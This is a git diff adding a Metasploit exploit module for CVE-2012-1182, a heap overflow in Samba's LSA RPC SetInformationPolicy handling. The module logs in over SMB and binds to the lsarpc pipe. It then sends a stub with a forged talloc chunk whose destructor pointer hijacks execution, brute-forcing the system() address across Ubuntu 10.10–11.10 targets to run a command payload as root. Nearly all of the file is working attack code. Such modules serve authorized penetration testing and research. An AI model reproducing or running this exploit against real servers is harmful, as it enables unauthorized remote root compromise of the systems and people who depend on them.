diff --git a/modules/exploits/linux/samba/setinfopolicy_heap.rb b/modules/exploits/linux/samba/setinfopolicy_heap.rb new file mode 100644 index 0000000000..201754568e --- /dev/null +++ b/modules/exploits/linux/samba/setinfopolicy_heap.rb @@ -0,0 +1,306 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + + +require 'msf/core' + + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::DCERPC + include Msf::Exploit::Remote::SMB + include Msf::Exploit::Brute + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Samba SetInformationPolicy AuditEventsInfo Heap Overflow', + 'Description' => %q{ + This module triggers a vulnerability in the LSA RPC service of the Samba daemon + because of an error on the PIDL auto-generated code. Making a specially crafted + call to SetInformationPolicy to set a PolicyAuditEventsInformation allows to + trigger a heap overflow and finally execute arbitrary code with root privileges. + + The module uses brute force to guess the system() address and redirect flow there + in order to bypass NX. The start and stop addresses for brute forcing have been + calculated empirically. On the other hand the module provides the StartBrute and + StopBrute which allow the user to configure his own addresses. + }, + 'Author' => + [ + 'Unknown', # Vulnerability discovery + 'blasty', # Exploit + 'sinn3r', # Metasploit module + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2012-1182'], + ['OSVDB', '81303'], + ['BID', '52973'], + ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-069/'] + ], + 'Privileged' => true, + 'Payload' => + { + 'DisableNops' => true, + 'Space' => 811, + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic bash telnet python perl', + } + }, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Targets' => + [ + # gdb /usr/sbin/smbd `ps auwx | grep smbd | grep -v grep | head -n1 | awk '{ print $2 }'` <<< `echo -e "print system"` | grep '$1' + ['2:3.5.11~dfsg-1ubuntu2 and 2:3.5.8~dfsg-1ubuntu2 on Ubuntu 11.10', + { + 'Offset' => 0x11c0, + 'Bruteforce' => + { + # The start for the final version should be 0xb20 aligned, and then step 0x1000. + 'Start' => { 'Ret' => 0x00230b20 }, + 'Stop' => { 'Ret' => 0x22a00b20 }, + 'Step' => 0x1000, + } + } + ], + ['2:3.5.8~dfsg-1ubuntu2 and 2:3.5.4~dfsg-1ubuntu8 on Ubuntu 11.04', + { + 'Offset' => 0x11c0, + 'Bruteforce' => + { + # The start should be 0x950 aligned, and then step 0x1000. + 'Start' => { 'Ret' => 0x00230950 }, + 'Stop' => { 'Ret' => 0x22a00950 }, + 'Step' => 0x1000, + } + } + ], + ['2:3.5.4~dfsg-1ubuntu8 on Ubuntu 10.10', + { + 'Offset' => 0x11c0, + 'Bruteforce' => + { + # The start should be 0x680 aligned, and then step 0x1000. + 'Start' => { 'Ret' => 0x00230680 }, + 'Stop' => { 'Ret' => 0x22a00680 }, + 'Step' => 0x1000, + } + } + ] + ], + 'DisclosureDate' => 'Apr 10 2012', + 'DefaultTarget' => 0, + )) + + register_options([ + OptInt.new("StartBrute", [ false, "Start Address For Brute Forcing" ]), + OptInt.new("StopBrute", [ false, "Stop Address For Brute Forcing" ]) + ], self.class) + + end + + def exploit + if target.bruteforce? + bf = target.bruteforce + + if datastore['StartBrute'] and datastore['StartBrute'] > 0 + bf.start_addresses['Ret'] = datastore['StartBrute'] + end + + if datastore['StopBrute'] and datastore['StopBrute'] > 0 + bf.stop_addresses['Ret'] = datastore['StopBrute'] + end + + if bf.start_addresses['Ret'] > bf.stop_addresses['Ret'] + raise ArgumentError, "StartBrute should not be larger than StopBrute" + end + end + super + end + + def check + begin + connect() + smb_login() + disconnect() + if (smb_peer_lm() =~ /Samba/i) + return CheckCode::Detected + else + return CheckCode::Safe + end + rescue ::Exception + return CheckCode::Safe + end + end + + def brute_exploit(target_addrs) + + print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret']) + datastore['DCERPC::fake_bind_multi'] = false + datastore['DCERPC::max_frag_size'] = 4248 + + pipe = "lsarpc" + + print_status("Connecting to the SMB service...") + connect() + print_status("Login to the SMB service...") + smb_login() + + handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"]) + print_status("Binding to #{handle} ...") + dcerpc_bind(handle) + print_status("Bound to #{handle} ...") + + stub = "X" * 20 + + cmd = ";;;;" # padding + cmd << "#{payload.encoded}\x00" # system argument + tmp = cmd * (816/cmd.length) + tmp << "\x00"*(816-tmp.length) + + stub << NDR.short(2) # level + stub << NDR.short(2) # level 2 + stub << NDR.long(1) # auditing mode + stub << NDR.long(1) # ptr + stub << NDR.long(100000) # r-> count + stub << NDR.long(20) # array size + stub << NDR.long(0) + stub << NDR.long(100) + stub << rand_text_alpha(target['Offset']) + # Crafted talloc chunk + stub << 'A' * 8 # next, prev + stub << NDR.long(0) + NDR.long(0) # parent, child + stub << NDR.long(0) # refs + stub << NDR.long(target_addrs['Ret']) # destructor # will become EIP + stub << NDR.long(0) # name + stub << "AAAA" # size + stub << NDR.long(0xe8150c70) # flags + stub << "AAAABBBB" + stub << tmp # pointer to tmp+4 in $esp + stub << rand_text(32632) + stub << rand_text(62000) + + print_status("Calling the vulnerable function...") + + begin + call(dcerpc, 0x08, stub) + rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError + print_status('Server did not respond, this is expected') + rescue Rex::Proto::DCERPC::Exceptions::Fault + print_error('Server is most likely patched...') + rescue => e + if e.to_s =~ /STATUS_PIPE_DISCONNECTED/ + print_status('Server disconnected, this is expected') + end + end + + handler + disconnect + end + + # Perform a DCE/RPC Function Call + def call(dcerpc, function, data, do_recv = true) + + frag_size = data.length + if dcerpc.options['frag_size'] + frag_size = dcerpc.options['frag_size'] + end + object_id = '' + if dcerpc.options['object_call'] + object_id = dcerpc.handle.uuid[0] + end + if options['random_object_id'] + object_id = Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16)) + end + + call_packets = make_request(function, data, frag_size, dcerpc.context, object_id) + call_packets.each { |packet| + write(dcerpc, packet) + } + + return true if not do_recv + + raw_response = '' + + begin + raw_response = dcerpc.read() + rescue ::EOFError + raise Rex::Proto::DCERPC::Exceptions::NoResponse + end + + if (raw_response == nil or raw_response.length == 0) + raise Rex::Proto::DCERPC::Exceptions::NoResponse + end + + + dcerpc.last_response = Rex::Proto::DCERPC::Response.new(raw_response) + + if dcerpc.last_response.type == 3 + e = Rex::Proto::DCERPC::Exceptions::Fault.new + e.fault = dcerpc.last_response.status + raise e + end + + dcerpc.last_response.stub_data + end + + # Used to create standard DCERPC REQUEST packet(s) + def make_request(opnum=0, data="", size=data.length, ctx=0, object_id = '') + + opnum = opnum.to_i + size = size.to_i + ctx = ctx.to_i + + chunks, frags = [], [] + ptr = 0 + + # Break the request into fragments of 'size' bytes + while ptr < data.length + chunks.push( data[ ptr, size ] ) + ptr += size + end + + # Process requests with no stub data + if chunks.length == 0 + frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, '', ctx, object_id) ) + return frags + end + + # Process requests with only one fragment + if chunks.length == 1 + frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, chunks[0], ctx, object_id) ) + return frags + end + + # Create the first fragment of the request + frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(1, opnum, chunks.shift, ctx, object_id) ) + + # Create all of the middle fragments + while chunks.length != 1 + frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(0, opnum, chunks.shift, ctx, object_id) ) + end + + # Create the last fragment of the request + frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(2, opnum, chunks.shift, ctx, object_id) ) + + return frags + end + + # Write data to the underlying socket + def write(dcerpc, data) + dcerpc.socket.write(data) + data.length + end + +end +